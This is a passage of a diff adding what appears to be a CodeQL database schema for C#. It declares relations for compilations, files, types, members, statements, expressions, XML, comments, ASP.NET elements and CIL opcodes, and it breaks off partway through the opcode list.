+ +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 127 = @and_pattern_expr +| 128 = @or_pattern_expr +| 129 = @function_pointer_invocation_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; +@binary_pattern_expr = @and_pattern_expr | @or_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 